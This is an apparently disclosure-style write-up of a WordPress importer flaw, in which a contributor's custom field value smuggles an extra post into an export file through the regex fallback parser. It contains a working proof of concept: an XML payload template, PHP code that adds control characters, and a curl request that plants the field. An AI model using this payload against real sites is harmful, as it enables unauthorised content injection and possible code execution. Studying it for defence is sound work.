WordPress importer arbitrary post create

Native WordPress importer have 3 different parser classes: WXR_Parser_SimpleXMLWXR_Parser_XML and WXR_Parser_Regex. If first two required PHP extensions (simplexml and xml) aren’t installed or somehow they fail during export file parsing, then everything should be done by WXR_Parser_Regex class.

Failing could occure because:

  • malformed XML file
  • Huge XML file with lot of data (libxml doesn’t obay memory constraints from php.ini)
  • most important one: those extensions can’t parse XML data that holds ascii control characters in it.

In the WXR_Parser_Regex we have following

foreach ( $multiline_tags as $tag => $handler ) {
	// Handle multi-line tags on a singular line
	if ( preg_match( '|<' . $tag . '>(.*?)|is', $importline, $matches ) ) {

and this means that somewhere in the user input if there is 
< / item > we talk about end of the post. We all know that meta / custom fields can hold anything, so we have our entry point. Fallback towards WXR_Parser_Regex checked and entry point checked, time for demo.

Eli5 PoC

On any WP instance log in with contributor user role. Create blog post and add meta / custom field with following value 🙂 Template payload for meta value:

<pubDate>Sun, 19 Jul 2020 20:57:17 +0000</pubDate>
<guid isPermaLink="false">http://attack.post?p=1337</guid>
<content:encoded><!-- wp:paragraph -->
<p>boom jee</p>
<!-- /wp:paragraph --></content:encoded>
<wp:post_date>2020-07-19 20:57:17</wp:post_date>
<wp:post_date_gmt>2020-07-19 20:57:17</wp:post_date_gmt>
<category domain="category" nicename="uncategorized">Uncategorized</category>

prepare this template payload on the following way

//grab the content
$cnt = file_get_contents("attack-template.txt");
//add ascii control characters
$cnt = str_replace("[asciicontrol]", "\x00\x01\x02\x08\x16", $cnt);
//url encode it and it is ready to be used towards any meta (custom) field as value
file_put_contents("final-payload.txt", urlencode($cnt));

and create the meta / custom field as contributor.

curl 'http://local.target/wp-admin/admin-ajax.php' -H 'Cookie: ...' --data '_ajax_nonce=0&action=add-meta&metakeyselect=%23NONE%23&metakeyinput=wpdeeply&metavalue=[content_from_final-payload.txt]&_ajax_nonce-add-meta=61b457d48c&post_id=[your_post_id]' --compressed

Now log in as administrator export the Posts and import them anywhere you want. Say hello to extra post of any type with any data created by  contributor.

Few facts

  • Many mainstream plugins accept raw user input in meta / custom fields
  • RCE could be achieved without user/attacker interaction when import occurs. Example 1 and Example 2
  • persistence and stealth agents planting is 100% option in WP


  • Sign the posts / data exported and check the signature with data need to be imported
  • Follow 101 security practices for web applications